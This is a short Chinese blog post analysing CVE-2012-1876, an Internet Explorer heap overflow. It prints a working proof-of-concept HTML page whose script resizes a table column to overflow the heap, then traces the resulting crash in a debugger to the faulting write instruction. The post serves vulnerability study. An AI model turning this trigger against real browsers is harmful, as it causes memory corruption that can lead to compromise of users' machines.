CVE-2012-1876漏洞分析

Ox9A82發表於2016-03-23

0.POC檔案

 1 <html>
 2  <body>
 3  <table style="table-layout:fixed" >
 4         <col id="132" width="41" span="1" >&nbsp </col>
 5  </table>
 6  <script>
 7 
 8  function over_trigger() {
 9         var obj_col = document.getElementById("132");
10         obj_col.width = "42765";
11         obj_col.span = 1000;
12  }
13 
14  setTimeout("over_trigger();",10);
15 
16  </script>
17  </body>
18  </html>

 

1.漏洞復現

環境如下

2.漏洞分析

開啟POC檔案即發生異常,掛載偵錯程式。異常情況如圖

注意0x9A99000位置記憶體不可寫入導致異常,圖示是增加了寫許可權後的記憶體示意圖。

分析可知,是堆溢位超出堆邊界導致嘗試寫入不可寫入的記憶體地址而引發了異常。

異常語句如圖

edi的值為0x9A99000

mov [0x9A99000],ecx

引發異常

相關文章